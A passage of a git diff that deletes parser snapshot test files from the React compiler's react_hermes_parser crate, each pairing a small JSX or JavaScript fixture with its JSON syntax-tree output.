-                      "type": "JSXIdentifier",
-                      "name": "div",
-                      "loc": null,
-                      "range": [
-                        79,
-                        82
-                      ]
-                    },
-                    "attributes": [],
-                    "selfClosing": false,
-                    "loc": null,
-                    "range": [
-                      78,
-                      83
-                    ]
-                  },
-                  "children": [
-                    {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          84,
-                          85
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        83,
-                        86
-                      ]
-                    }
-                  ],
-                  "closingElement": {
-                    "type": "JSXClosingElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "div",
-                      "loc": null,
-                      "range": [
-                        88,
-                        91
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      86,
-                      92
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    78,
-                    92
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  74,
-                  92
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              70,
-              93
-            ]
-          },
-          {
-            "type": "SwitchStatement",
-            "discriminant": {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                105,
-                106
-              ]
-            },
-            "cases": [
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    119,
-                    120
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              130,
-                              131
-                            ]
-                          },
-                          "right": {
-                            "type": "ArrayExpression",
-                            "elements": [],
-                            "loc": null,
-                            "range": [
-                              134,
-                              136
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            130,
-                            136
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          130,
-                          137
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                144,
-                                145
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "push",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                146,
-                                150
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              144,
-                              150
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "b",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                151,
-                                152
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            144,
-                            153
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          144,
-                          154
-                        ]
-                      },
-                      {
-                        "type": "BreakStatement",
-                        "label": null,
-                        "loc": null,
-                        "range": [
-                          161,
-                          167
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      122,
-                      173
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  114,
-                  173
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": null,
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              195,
-                              196
-                            ]
-                          },
-                          "right": {
-                            "type": "ArrayExpression",
-                            "elements": [],
-                            "loc": null,
-                            "range": [
-                              199,
-                              201
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            195,
-                            201
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          195,
-                          202
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                209,
-                                210
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "push",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                211,
-                                215
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              209,
-                              215
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "c",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                216,
-                                217
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            209,
-                            218
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          209,
-                          219
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      187,
-                      225
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  178,
-                  225
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              97,
-              229
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    246,
-                    249
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  245,
-                  250
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    250,
-                    257
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      258,
-                      259
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    257,
-                    260
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    260,
-                    267
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      268,
-                      269
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    267,
-                    270
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    270,
-                    275
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    277,
-                    280
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  275,
-                  281
-                ]
-              },
-              "loc": null,
-              "range": [
-                245,
-                281
-              ]
-            },
-            "loc": null,
-            "range": [
-              232,
-              286
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          288
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        288
-      ],
-      "loc": null,
-      "range": [
-        0,
-        288
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    288
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassignment.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassignment.js.snap
deleted file mode 100644
index d6586d03eb94..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reassignment.js.snap
+++ /dev/null
@@ -1,549 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reassignment.js
----
-Input:
-function Component(props) {
-  let x = [];
-  x.push(props.p0);
-  let y = x;
-
-  x = [];
-  let _ = <Component x={x} />;
-
-  y.push(props.p1);
-
-  return <Component x={x} y={y} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    40
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  40
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              41
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    44,
-                    45
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    46,
-                    50
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  44,
-                  50
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      56
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "p0",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      57,
-                      59
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    51,
-                    59
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                44,
-                60
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              44,
-              61
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    68,
-                    69
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    72,
-                    73
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  68,
-                  73
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              64,
-              74
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  78,
-                  79
-                ]
-              },
-              "right": {
-                "type": "ArrayExpression",
-                "elements": [],
-                "loc": null,
-                "range": [
-                  82,
-                  84
-                ]
-              },
-              "loc": null,
-              "range": [
-                78,
-                84
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              78,
-              85
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "_",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    92,
-                    93
-                  ]
-                },
-                "init": {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "Component",
-                      "loc": null,
-                      "range": [
-                        97,
-                        106
-                      ]
-                    },
-                    "attributes": [
-                      {
-                        "type": "JSXAttribute",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "x",
-                          "loc": null,
-                          "range": [
-                            107,
-                            108
-                          ]
-                        },
-                        "value": {
-                          "type": "JSXExpressionContainer",
-                          "expression": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              110,
-                              111
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            109,
-                            112
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          107,
-                          112
-                        ]
-                      }
-                    ],
-                    "selfClosing": true,
-                    "loc": null,
-                    "range": [
-                      96,
-                      115
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": null,
-                  "loc": null,
-                  "range": [
-                    96,
-                    115
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  92,
-                  115
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              88,
-              116
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    120,
-                    121
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    122,
-                    126
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  120,
-                  126
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      127,
-                      132
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "p1",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      133,
-                      135
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    127,
-                    135
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                120,
-                136
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              120,
-              137
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Component",
-                  "loc": null,
-                  "range": [
-                    149,
-                    158
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "x",
-                      "loc": null,
-                      "range": [
-                        159,
-                        160
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          162,
-                          163
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        161,
-                        164
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      159,
-                      164
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "y",
-                      "loc": null,
-                      "range": [
-                        165,
-                        166
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          168,
-                          169
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        167,
-                        170
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      165,
-                      170
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  148,
-                  173
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                148,
-                173
-              ]
-            },
-            "loc": null,
-            "range": [
-              141,
-              174
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          176
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        176
-      ],
-      "loc": null,
-      "range": [
-        0,
-        176
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    176
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@recursive-function-expr.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@recursive-function-expr.js.snap
deleted file mode 100644
index b73cb920282f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@recursive-function-expr.js.snap
+++ /dev/null
@@ -1,114 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/recursive-function-expr.js
----
-Input:
-function foo() {
-  (() => foo())();
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "ArrowFunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      26,
-                      29
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    26,
-                    31
-                  ]
-                },
-                "generator": true,
-                "async": false,
-                "loc": null,
-                "range": [
-                  20,
-                  31
-                ],
-                "expression": true,
-                "loc": null,
-                "range": [
-                  20,
-                  31
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                19,
-                34
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              19,
-              35
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          37
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        37
-      ],
-      "loc": null,
-      "range": [
-        0,
-        37
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    37
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-condexpr.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-condexpr.js.snap
deleted file mode 100644
index ef0fae9112d0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-condexpr.js.snap
+++ /dev/null
@@ -1,306 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-condexpr.js
----
-Input:
-// props.a.b should be added as a unconditional dependency to the reactive
-// scope that produces x, since it is accessed unconditionally in all cfg
-// paths
-
-function TestCondDepInConditionalExpr(props, other) {
-  const x = foo(other) ? bar(props.a.b) : baz(props.a.b);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestCondDepInConditionalExpr",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          168,
-          196
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            197,
-            202
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "other",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            204,
-            209
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    221,
-                    222
-                  ]
-                },
-                "init": {
-                  "type": "ConditionalExpression",
-                  "test": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "foo",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        225,
-                        228
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "other",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          229,
-                          234
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      225,
-                      235
-                    ]
-                  },
-                  "alternate": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "baz",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        255,
-                        258
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              259,
-                              264
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              265,
-                              266
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            259,
-                            266
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            267,
-                            268
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          259,
-                          268
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      255,
-                      269
-                    ]
-                  },
-                  "consequent": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "bar",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        238,
-                        241
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              242,
-                              247
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              248,
-                              249
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            242,
-                            249
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            250,
-                            251
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          242,
-                          251
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      238,
-                      252
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    225,
-                    269
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  221,
-                  269
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              215,
-              270
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                280,
-                281
-              ]
-            },
-            "loc": null,
-            "range": [
-              273,
-              282
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          211,
-          284
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        159,
-        284
-      ],
-      "loc": null,
-      "range": [
-        159,
-        284
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    159,
-    284
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-ifelse.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-ifelse.js.snap
deleted file mode 100644
index 1929bc7c66dd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-cond-deps-cfg-ifelse.js.snap
+++ /dev/null
@@ -1,394 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-cond-deps-cfg-ifelse.js
----
-Input:
-// props.a.b should be added as a unconditional dependency to the reactive
-// scope that produces x, since it is accessed unconditionally in all cfg
-// paths
-
-function TestCondDepInDirectIfElse(props, other) {
-  const x = {};
-  if (foo(other)) {
-    x.b = props.a.b;
-  } else {
-    x.c = props.a.b;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestCondDepInDirectIfElse",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          168,
-          193
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            194,
-            199
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "other",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            201,
-            206
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    218,
-                    219
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    222,
-                    224
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  218,
-                  224
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              212,
-              225
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  232,
-                  235
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "other",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    236,
-                    241
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                232,
-                242
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          250,
-                          251
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          252,
-                          253
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        250,
-                        253
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            256,
-                            261
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            262,
-                            263
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          256,
-                          263
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          264,
-                          265
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        256,
-                        265
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      250,
-                      265
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    250,
-                    266
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                244,
-                270
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          282,
-                          283
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          284,
-                          285
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        282,
-                        285
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            288,
-                            293
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
